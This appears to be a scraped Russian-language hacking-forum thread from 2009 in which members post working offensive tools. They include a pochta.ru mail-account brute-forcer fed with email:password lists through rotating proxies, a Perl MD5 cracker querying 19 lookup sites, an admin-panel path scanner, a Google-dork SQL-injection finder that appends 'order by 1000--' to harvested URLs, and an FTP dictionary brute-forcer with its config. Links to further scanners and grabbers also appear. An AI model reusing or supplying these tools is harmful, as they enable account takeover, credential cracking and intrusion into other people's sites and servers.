$mode = 1; // 0 - show all; 1 - show only the good
$save = 0; // 0 - show on page; 1 - save in the file
$file = 'socks5.txt'; // File name
do
{
$url = "http://sockslist.net";
$get = file($url);
foreach($get as $getting)
{
$pattern = "/<script type=\'text\/javascript\'>(.+)\(unescape\(\'.*\'\)\)<\/script>/is";
preg_match($pattern, $getting, $grab);
if($grab[0] == true) {
$str_beg = str_replace("<script type='text/javascript'>eval(unescape('", "", $grab[0]);
$str_end = str_replace("'))</script>","", $str_beg);
$js = urldecode($str_end);
$arr = explode(";", $js);
$version = explode("+", $arr[16]);
$country = explode("</td>", $arr[16]);
for($i = 0; $i < 12; $i++)
{
if($i > 10) {
$two = explode("=", trim($arr[$i]));
} else {
$socks .= '$'.trim($arr[$i]).';';
}
}
$socks .= '$port = $'.trim($two[1]).';';
eval($socks);
if(trim($version[5]) == 5) { // show only socks 5 version;
$intz = $ipa.":".$port.":".trim($version[5]); }
if($mode == 0) {
if($save == 0) {
echo $ipa.":".$port." [".gethostbyaddr($ipa)."] => ".$country[0]."<br>"; } else {
file_put_contents($file, $ipa.":".$port." [".gethostbyaddr($ipa)."] => ".$country[0]."\n", FILE_APPEND);
}
} else {
$check = file_get_contents("http://sockslist.net/cgi-bin/socks/proxytools.cgi?do=check&socks=".$intz);
$patterm = "|<font color=\"\#00ab38\">works<\/font>|is";
if(preg_match($patterm, $check)) {
if($save == 0){
echo $ipa.":".$port." [".gethostbyaddr($ipa)."] => ".$country[0]." - Socks5 Good! <br>"; } else {
file_put_contents($file, $ipa.":".$port." [".gethostbyaddr($ipa)."] => ".$country[0]." - Socks5 Good!\n", FILE_APPEND); }
}
}
}
} $lp++;
}
while($lp < $loop);
?>
Простой скрипт брутер pochta.ru.
Использует очень полезный класс для работы с сокетами.
Сам брутер:
<?php
/*
Pochta.ru брутер.
login.txt - файл формата e-mail;password
proxy.txt - файл с проксями.
good.txt - сбрученные аккаунты.
(с) art2222
*/
require_once 'class.php';
$cs = new phpsploit();
$cs -> agent('Mozilla/4.0 (compatible; MSIE 6.0b1; Windows NT 5.1; SV1; .NET CLR 1.1.4322)');
$proxy = @file('proxy.txt');
$good = array();
foreach (file('login.txt') as $value)
{
list($login,$pass) = explode(';',trim($value));
list($login,$domain) = explode('@',$login);
list($ip,$port) = explode(':',trim(array_rand($proxy)));
$cs->proxy($ip,$port);
$content = $cs->post('http://pda.pochta.ru/auth/logon',"reason=login&lng=ru&rnd=&user=$login&domain=$domain&pass=$pass");
if (strpos($content,'INBOX')) array_push($good, $value);
}
file_put_contents('good.txt', $good);
?>
Брутер+php класс (http://slil.ru/27522410)
hors_de_prix
10.05.2009, 13:32
#!usr/bin/perl ## # Coded By hors_de_prix # Md5 Crack Monster v1.1 ####################### # www.tydal.nu # milw0rm.com # gdataonline.com # ice.breaker.free.fr # passcracking.com # md5.hashcracking.com # md5decryption.com # www.hashchecker.com # victorov.su # md5crack.it-helpnet.de # www.md5decrypter.com # blacklight.gotdns.org # www.hashchecker.com # md5.ip-domain.com.cn # www.bigtrapeze.com # opencrack.hashkiller.com # md5live.com # www.md5hood.com # www.astalavista.net ####################### # Ex. Option 1 # # Pick one of ~# 1 # Enter Md5 Hash ~# 9f06cd848dfef4e02ff9a14a21ae5dd8 # *************** # Ex. Option 2 # # Pick one of ~# 2 # Enter Md5 File ~# md5_hash.txt # *************** # # Ex. For md5_hash.txt # # 28c15e68173b7bf815ccbfd0513d2663 # 21232f297a57a5a743894a0e4a801fc3 # 8ff32489f92f33416694be8fdc2d4c22 # ... # ... ## use LWP::UserAgent; use HTTP::Request::Common; system('cls'); system('title Md5 Crack Monster v1.1 - Coded By KuNdUz'); print "\n\t***********************************\n"; print "\t* Md5 Crack Monster v1.1 *\n"; print "\t* Coded By KuNdUz *\n"; print "\t- Options: -\n"; print "\t* 1 - md5 hash *\n"; print "\t* 2 - md5.txt *\n"; print "\t***********************************\n"; print "\nPick One Of ~# "; $pick=<STDIN>; chop($pick); if($pick == "1"){ MD5FAIL: print "\nEnter Md5 Hash ~# "; $hash=<STDIN>; chop($hash); ###############md5 hash crack############### if (length($hash)==32) { print "\n\t*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* -*-*-*-*-*-*-*-*-*\n"; print "\t* Md5 Crack Monster v1.1 *\n"; print "\t* Coded By KuNdUz *\n"; print "\t*__ $hash Searching 19 sites __*\n"; print "\t*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- *-*-*-*-*-*-*-*-*\n\n"; &next; } else { print "\nThis is not a md5 hash!\n\n$hash \n\nTry Again! \n\n"; goto MD5FAIL; } } ###############md5 hash file crack############### if($pick == "2"){ print "\nEnter Md5 File ~# "; $file=<STDIN>; chop($file); open(RES,"<","$file"); @lol = <RES>; close(RES); foreach $hash(@lol){ print " \nSearching Md5 Hash $hash\n\n"; &next; } } sub next { $url = "http://www.tydal.nu/php/sakerhet/md5.php? q=$hash"; $lwp = LWP::UserAgent->new(); $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $connect = $lwp -> get($url); print "1 www.tydal.nu ---- "; if ($connect -> content =~ /(.*)<\/b><\/h5>/) { if ($connect -> content =~ /Ingen/) { print "Result : Hash not found!\n"; } else { print "Result : $1\n"; } } else { print "Result : Hash not found!\n"; } $url = "http://milw0rm.com/cracker/search.php"; $lwp = LWP::UserAgent->new(); $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["hash" => $hash, "Submit" => "Submit"]); print "2 www.milw0rm.com ---- "; if ($request->content =~ /<\/TD><TD align=\"middle\" nowrap=\"nowrap\" width=90>(.*)<\/TD><TD align=\"middle\" nowrap=\"nowrap\" width=90>cracked<\/TD><\/TR>/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://gdataonline.com/qkhash.php? mode=txt&hash=$hash"; $lwp = LWP::UserAgent->new(); $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $connect = $lwp -> get($url); print "3 gdataonline.com ---- "; if ($connect -> content =~ /<\/td><td width=\"35%\"><b> (.*)<\/b><\/td><\/tr>/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://ice.breaker.free.fr/md5.php?hash=$hash"; $lwp = LWP::UserAgent->new(); $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $connect = $lwp->get($url); print "4 ice.breaker.free.fr ---- "; if ($connect -> content =~ /: <b><br><br> - (.*) <br><br><br><a href=http:\/\/ice.breaker.free.fr\/#hash>/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://passcracking.com/"; $lwp = LWP::UserAgent->new(); $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp ->post($url, ["datafromuser" => $hash, "submit" => "DoIT"]); print "5 passcracking.com ---- "; if ($request->content =~ /<\/td><td>md5 Database<\/td><td>$hash<\/td><td bgcolor=#FF0000>(.*) <\/td><td>/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://md5.hashcracking.com/search.php? md5=$hash"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $connect = $lwp -> get($url); print "6 md5.hashcracking.com ---- "; if ($connect->content =~ /Cleartext of $hash is (.*)/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://md5decryption.com"; $lwp = LWP::UserAgent->new(); $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["hash" => $hash, "submit" => "Decrypt It!"]); print "7 www.md5decryption.com ---- "; if ($request->content =~ /<h2>Results<\/h2><b>Md5 Hash:<\/b> $hash<br\/><b class='red'>Normal Text: <\/b> (.*)<br\/>/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://www.hashchecker.com/index.php? _sls=search_hash"; $lwp = LWP::UserAgent->new(); $lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp -> post($url, ["search_field" => $hash, "Submit" => "search"]); print "8 www.hashchecker.com ---- "; if ($request -> content =~ /<td><li>Your md5 hash is :<br><li>$hash is <b>(.*)<\/b> used charl/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://victorov.su/md5/?md5e=&md5d=$hash"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $connect = $lwp -> get($url); print "9 victorov.su ---- "; if ($connect -> content =~ /MD5 расшифрован: <b>(.*) <\/b><br><form action=\"\">/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://md5crack.it-helpnet.de/index.php?op=search"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["md5" => $hash, "submit" => "Search now"]); print "10 md5crack.it-helpnet.de ---- "; if ($request->content =~ /<\/td><td>$hash<\/td><td>(.*) <\/td>/) { if (length($1)==23) { print "Result : Hash not found!\n"; } else { print "Result : $1\n"; } } else { print "Result : Hash not found!\n"; } $url = "http://www.md5decrypter.com/"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["hash" => $hash, "submit" => "Decrypt!"]); print "11 www.md5decrypter.com ---- "; if ($request->content =~ /<h2>Results<\/h2><b>Md5 Hash:<\/b> $hash<br\/><b class='red'>Normal Text: <\/b> (.*)/) { if (length($1)==23) { print "Result : Hash not found!\n"; } else { print "Result : $1\n"; } } else { print "Result : Hash not found!\n"; } $url = "http://blacklight.gotdns.org/cracker/crack.php"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["hash" => $hash, "algos" => "MD5", "crack" => "Crack"]); print "12 blacklight.gotdns.org ---- "; if ($request->content =~ /$hash -> <b>(.*) <\/b><br><br>/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://www.hashchecker.com/index.php? _sls=search_hash"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["search_field" => $hash, "Submit" => "search"]); print "13 www.hashchecker.com ---- "; if ($request->content =~ /<td><li>Your md5 hash is :<br><li>$hash is <b>(.*)<\/b> used charlist/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://md5.ip-domain.com.cn/"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["text" => $hash, "submit" => "submit"]); print "14 md5.ip-domain.com.cn ---- "; if ($request->content =~ /<strong>result:<\/strong><font color=red>(.+)<\/font> /){ print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://www.bigtrapeze.com/md5/"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["query" => $hash, "submit" => " Crack "]); print "15 www.bigtrapeze.com ---- "; if ($request->content =~ /The hash <strong>$hash<\/strong> has been deciphered to: <strong>(.+)<\/strong>/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://opencrack.hashkiller.com/"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["oc_check_md5" => $hash, "submit" => "Search MD5"]); print "16 opencrack.hashkiller.com ---- "; if ($request->content =~ /<\/div><div class="result">$hash:(.+)<br\/>/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "http://md5live.com/index.php? format=md5&search=$hash"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $connect = $lwp -> get($url); print "17 md5live.com ---- "; if ($connect -> content =~ /(.+)<br \/>/){ print "Result : $1\n"; } $url = "http://www.md5hood.com/"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["md5" => $hash, "submit" => "Search"]); print "18 www.md5hood.com ---- "; if ($request->content =~ / <div class="result_found">(.+)<\/div>/){ print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } $url = "https://www.astalavista.net/?cmd=rainbowtables"; $lwp = LWP::UserAgent->new(); $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["query_hash" => $hash, "submit" => "Search", "hash_algorithm_query" => "MD5"]); print "19 www.astalavista.net ---- "; if ($request->content =~ /<\/td><\/tr><tr><td><b>Plain- Text:<\/b><\/td><\/tr><tr><td>(.+)/) { print "Result : $1\n"; } else { print "Result : Hash not found!\n"; } } ## # Coded By hors_de_prix ##
ph1l1ster
10.05.2009, 13:51
hors_de_prix, не раз уже выкладывалось. [code][*/code] используй :\
Полный Lfi scanner на perl'e,код большой залил на обменник.
http://slil.ru/27524161
hors_de_prix
12.05.2009, 17:11
silviasql сканер
ссылка:
http://rapidshare.com/files/232010053/silviasql.rar
FTP_scanner_by_softxor
ссылка:
http://rapidshare.com/files/232014333/FTP_scanner_by_softxor.rar
PHP_Injection_Scanner
ссылка:
http://rapidshare.com/files/232015154/PHP_Injection_Scanner.rar
Грабер, чекер валидности и анонимности проксей
ссылка:
http://rapidshare.com/files/232015698/__1043___1088___1072___1073___1077___1088_____1095 ___1077___1082___1077___1088____1074___1072___1083
DNS_Scanner
ссылка:
http://rapidshare.com/files/232016134/DNS_Scanner.rar
Googler_v1.69
ссылка:
http://rapidshare.com/files/232017000/Googler_v1.69.rar
Email_grabber
ссылка:
http://rapidshare.com/files/232018037/Email_grabber.rar
MD5cracker_Bot
ссылка:
http://rapidshare.com/files/232017517/MD5cracker_Bot.rar
У кого-нибудь есть поиск админки на пхп/перле?
у меня есть, только на питоне:
#/usr/bin/python
import sys, os, time, httplib
if sys.platform == 'linux' or sys.platform == 'linux2':
clearing = 'clear'
else:
clearing = 'cls'
os.system(clearing)
if len(sys.argv) != 2:
print "\n|-------------------------------------------------------------|"
print "| Admin login finder v2.0 |"
print "| Help: admin-find.py -h |"
print "|---------------------------------------------------------------|\n"
sys.exit(1)
for arg in sys.argv:
if arg == '-h':
print "\n|-----------------------------------------------------------------------------|"
print "| Admin login finder v2.0 |"
print "| Usage: admin-find.py www.site.com |"
print "| Example: admin-find.py site.com |"
print "|-------------------------------------------------------------------------------|\n"
sys.exit(1)
site = sys.argv[1].replace("http://","").rsplit("/",1)[0]
site = site.lower()
admin_path = ['admin.php','admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/','memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php','joomla/administrator','login.php',
'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html','admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html','admin/controlpanel.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html','w ebadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html','admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php','administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php','bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','modelsearch/login.php','moderator.php','moderator/login.php','moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html','webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.htm l','administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','m odelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpane l.html','admincontrol.html','panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','adminarea/index.php','adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php','modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php', 'admin2/login.php','admin2/index.php','adm/index.php','adm.php','affiliate.php','adm_auth.php ','memberadmin.php','administratorlogin.php']
print "\n|-------------------------------------------------------------|"
print "| Admin login finder v2.0 |"
print "|---------------------------------------------------------------|\n"
print "\n[-] %s" % time.strftime("%X")
print "[+] Target:",site
print "[+] Checking paths..."
print
try:
for admin in admin_path:
admin = admin.replace("\n","")
admin = "/" + admin
connection = httplib.HTTPConnection(site)
connection.request("GET",admin)
response = connection.getresponse()
print "%s %s %s" % (admin, response.status, response.reason)
except(KeyboardInterrupt,SystemExit):
raise
except:
pass
Берёте в гугле вводите запрос например:inurl:index.php?id=,
копируете урлу и вставляете в скрипт и он начинает подставлять к каждому урлу +order+by+1000(можете поменять),и потом выводит ошибки...
<?php if(!function_exists("curl_init")) exit("CURL REQUIRED"); ?> <form id="form1" name="form1" method="post" action="<?=$PHP_SELF?>"> <table width="500" border="0" cellspacing="2" cellpadding="2"> <tr> <td><label>query: <input name="query" type="text" id="query" size="100" valuse="<?=$_POST[query]?>"/> <br /> <br /> <font size="2">ex:<strong> http://www.google.com/search?hl=en&q=inurl%3A%22article.php%3Fid%3D%22&btnG=Google+Search</strong></font></label></td> </tr> <tr> <td><label> <input type="submit" name="button" id="button" value="Submit" /> </label></td> </tr> </table> </form> <?php if (!empty($_POST[query]) ){ @set_time_limit(0); @error_reporting(0); @ignore_user_abort(true); ini_set('memory_limit', '128M'); $fetch = fetch(trim($_POST[query])."&num=100" ); if ( strpos($fetch, "We're sorry...") !== false ) { print "GOOGLE ERROR"; exit ;} //if(!preg_match_all("/cite\>([^\>]*>article\.php\?id[^\=]*=\d*)/i", $fetch, $mtc)) { print "GOOGLE2 ERROR"; exit ;} if( !preg_match_all ("/a[\s]+href[\s]?=[\s\"\']+". "http(.*?)[\"\']+.*?"."/", $fetch, $matches)) { print "GOOGLE2 ERROR"; exit ;} foreach (array_unique($matches[0]) as $u) { if ( strpos($u, "cache") !== false ) { continue ;} if ( strpos($u, "google") !== false ) { continue ;} if ( strpos($u, "download.com") !== false ) { continue ;} if ( strpos($u, "youtube.com") !== false ) { continue ;} if ( strpos($u, "javascript:void") !== false ) { continue ;} $u = str_replace("a href=","",$u); $u = str_replace("\"","",$u); $url = str_replace("http://","",$u); $offset =0; $time = 0; while(preg_match("/\=\d{1,}/", $url, $m, PREG_OFFSET_CAPTURE,$offset) ) { if($time>3) break; $offset = $m[0][1]+strlen( $m[0][0]); $time++; $_url = substr_replace ( $url , "+order+by+1000--", $offset , 0); if( preg_match_all("/\b(?:database|fetch|error|MySQL|mysql|SQL|query|Wa rning)\b/i", strip_tags( html_entity_decode( fetch($_url)) ) , $ws)) { print "<strong><font color=red>Походу ***** ему :): $_url</font></strong><font color=blue>".implode(",", $ws[0])."</font><br>"; break; } else { echo $_url."<br>"; flush(); ob_flush(); } } if(!$time) { $url = $url."+order+by+1000--"; if( preg_match_all("/\b(?:database|fetch|error|MySQL|mysql|SQL|query|Wa rning)\b/i", strip_tags( html_entity_decode( fetch($url)) ) , $ws)) { print "<strong><font color=red>Походу ***** ему :): $url</font></strong><font color=blue>".implode(",", $ws[0])."</font><br>"; } else { echo $url."<br>"; flush(); ob_flush(); } } } } function fetch($url) { if(file_exists('stopfile')) exit; $header[] = "Accept-Language: en"; $header[] = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"; $header[] = "Connection: Keep-Alive"; $header[] = "Pragma: no-cache"; $header[] = "Cache-Control: no-cache"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE ); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); //curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); if(!curl_setopt($ch, CURLOPT_TIMEOUT, 5)) {echo 'CURLOPT TIMEOUT Error';} curl_setopt($ch, CURLOPT_HTTPHEADER, $header); //curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookie.txt'); //curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookie.txt'); $page = curl_exec($ch); curl_close($ch); //echo $page."<HR>"; return $page; } ?>
Чё то у меня не получается нормально код запостить вот ссылка: http://slil.ru/27659432
Sosok:
<?php if(!function_exists("curl_init")) exit("CURL REQUIRED"); ?>
<form id="form1" name="form1" method="post" action="<?=$PHP_SELF?>">
<table width="500" border="0" cellspacing="2" cellpadding="2">
<tr>
<td><label>query:
<input name="query" type="text" id="query" size="100" valuse="<?=$_POST[query]?>"/>
<br />
<br />
<font size="2">ex:<strong> http://www.google.com/search?hl=en&q=inurl%3A%22article.php%3Fid%3D%22&btnG=Google+Search</strong></font></label></td>
</tr> <tr>
<td><label>
<input type="submit" name="button" id="button" value="Submit" />
</label></td>
</tr>
</table>
</form>
<?php
if (!empty($_POST[query]) ){
@set_time_limit(0);
@error_reporting(0);
@ignore_user_abort(true);
ini_set('memory_limit', '128M');
$fetch = fetch(trim($_POST[query])."&num=100" );
if ( strpos($fetch, "We're sorry...") !== false ) { print "GOOGLE ERROR"; exit ;}
//if(!preg_match_all("/cite\>([^\>]*>article\.php\?id[^\=]*=\d*)/i", $fetch, $mtc)) { print "GOOGLE2 ERROR"; exit ;}
if( !preg_match_all ("/a[\s]+href[\s]?=[\s\"\']+".
"http(.*?)[\"\']+.*?"."/",
$fetch, $matches)) { print "GOOGLE2 ERROR"; exit ;}
foreach (array_unique($matches[0]) as $u) {
if ( strpos($u, "cache") !== false ) { continue ;}
if ( strpos($u, "google") !== false ) { continue ;}
if ( strpos($u, "download.com") !== false ) { continue ;}
if ( strpos($u, "youtube.com") !== false ) { continue ;}
if ( strpos($u, "javascript:void") !== false ) { continue ;}
$u = str_replace("a href=","",$u);
$u = str_replace("\"","",$u);
$url = str_replace("http://","",$u);
$offset =0;
$time = 0;
while(preg_match("/\=\d{1,}/", $url, $m, PREG_OFFSET_CAPTURE,$offset) ) {
if($time>3) break;
$offset = $m[0][1]+strlen( $m[0][0]);
$time++;
$_url = substr_replace ( $url , "+order+by+1000--", $offset , 0);
if( preg_match_all("/\b(?:database|fetch|error|MySQL|mysql|SQL|query|Wa rning)\b/i",
strip_tags(
html_entity_decode(
fetch($_url)) ) , $ws)) {
print "<strong><font color=red>Походу ***** ему :): $_url</font></strong><font color=blue>".implode(",", $ws[0])."</font><br>";
break; } else
{ echo $_url."<br>";
flush(); ob_flush(); }
}
if(!$time) {
$url = $url."+order+by+1000--";
if( preg_match_all("/\b(?:database|fetch|error|MySQL|mysql|SQL|query|Wa rning)\b/i",
strip_tags(
html_entity_decode(
fetch($url)) ) , $ws)) {
print "<strong><font color=red>Походу ***** ему :): $url</font></strong><font color=blue>".implode(",", $ws[0])."</font><br>";
} else
{ echo $url."<br>";
flush(); ob_flush(); }
}
}
}
function fetch($url) {
if(file_exists('stopfile')) exit;
$header[] = "Accept-Language: en";
$header[] = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)";
$header[] = "Connection: Keep-Alive";
$header[] = "Pragma: no-cache";
$header[] = "Cache-Control: no-cache";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE );
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
//curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
if(!curl_setopt($ch, CURLOPT_TIMEOUT, 5)) {echo 'CURLOPT TIMEOUT Error';}
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
//curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookie.txt');
//curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookie.txt');
$page = curl_exec($ch);
curl_close($ch);
//echo $page."<HR>";
return $page;
}
?>
_==wolf==_
15.05.2009, 21:34
в начале в форме не valuse а value мб? ))
Pashkela
24.05.2009, 00:49
фтп-брут по словарям, работает в различных режимах:
1 - брут по двум словарям - логинов и паролей (отдельно словарь логинов, отдельно словарь паролей) - неизвестны ни логин, ни пароль
2 - брут по словарю паролей, известен только логин
3 - брут по словарю логинов, известен только пароль
4 - брут по словарю логин/пароль (разделитель любой, кроме ";" и пробела, например root:root, каждая пара с новой строки) - неизвестны ни логин, ни пароль
все настройки задаются в файле ftp.ini:
mode = 3
;0 - брут по двум словарям - логинов и паролей (отдельно словарь логинов, отдельно словарь паролей) - неизвестны ни логин, ни пароль
;1 - брут по словарю паролей, логин нужно внести ниже (известен только логин)
;2 - брут по словарю логинов, пароль нужно внести ниже (известен только пароль)
;3 - брут по словарю логин/пароль (разделитель любой, кроме ";" и пробела, например root:root, каждая пара с новой строки) - неизвестны ни логин, ни пароль
host = ;фтп-хост
port = 21 ;фтп-порт
login = ;логин (если брут паролей по одному логину)
pass = ;пароль (если брут логинов по одному паролю)
file_pass = passw.txt ;файл-словарь паролей для брута (каждый пароль с новой строки)
file_login = login.txt ;файл-словарь логинов (каждый логин с новой строки)
file_login_pass = log_pass.txt ;файл-словарь логинов/паролей (каждая связка логин/пароль с новой строки)
file_login_pass_del = : ;разделитель между логин/пароль в файле file_login_pass, не может быть ";" или пробелом
file_result = ftp_result.txt ;файл для сохранения результатов
pause = 0 ;пауза между попытками в секундах (если нужно)
timeout = 100 ;таймаут на установление фтп-соединения (обязательный параметр)
kol = 1 ;через какое кол-во попыток выводить инфо на экран
запускается файлом ftpbr.exe (или RUN!!!.cmd) под WIN и файл ftpbr.php под никсами.
Скачать всё в одном архиве, пароль - 123 (http://pashkela.narod.ru/progi/FTP_BRUT.rar)
Из особенностей - абсолютно не требователен к оперативной памяти, независимо от размера словарей
<?php
@set_time_limit(0);
@ini_set("display_errors","0");
ignore_user_abort(1);
echo "\n [[[ FTP-BRUTE 1.0 by Pashkela (c)2009 ]]]";
$ini = parse_ini_file("ftp.ini") or die("ftp.ini not found");
$mode = $ini[mode]; // 0 - брут по двум словарям - логин/пассворд, 1 - брут по словарю паролей, логин нужно внести ниже, 2 - брут по словарю логинов, пароль нужно внести ниже, 3 - брут по словарю логин/пароль (разделитель любой, кроме ";", например root:root, каждая пара с новой строки) - неизвестны ни логин, ни пароль
$host = $ini[host]; // фтп-хост
$port = $ini[port]; // фтп-пароль
$login = $ini[login]; // логин (если брут паролей по одному логину)
$pass = $ini[pass]; // пароль (если брут логинов по одному паролю)
$file_pass = $ini[file_pass]; // файл-словарь паролей
$file_login = $ini[file_login]; // файл-словарь логинов
$file_result = $ini[file_result]; // файл для сохранения результатов
$file_login_pass = $ini[file_login_pass];// файл-словарь логинов/паролей (каждая связка логин/пароль с новой строки)
$file_login_pass_del = $ini[file_login_pass_del];//разделитель между логин/пароль в файле file_login_pass, не может быть ";" или пробелом
$pause = $ini[pause]; // пауза между попытками, если надо
$timeout = $ini[timeout]; // таймаут на установление фтп-соединения
$kol = $ini[kol]; // через какое кол-во попыток выводить инфо на экран
$handle1 = fopen($file_result, "a");
$i = 0;
$s = 0;
// Брут по двум словарям (не знаем ни логина ни пароля):
if ($mode==0) {
$login = '';
$pass = '';
// Brute
echo "\n\n Count logins & passwords, wait please...";
$handle2 = fopen($file_login, "r");
$handle = fopen($file_pass, "r");
while ($buffer = fgets($handle2)) $p++;
fclose($handle2);
echo "\n\n\n$p logins...working\n";
while ($buffer = fgets($handle)) $g++;
fclose($handle);
echo "$g passwords...working\n";
echo "Will brute login|password\n";
echo "at host: <$host> \n";
echo "at port: <$port>\n";
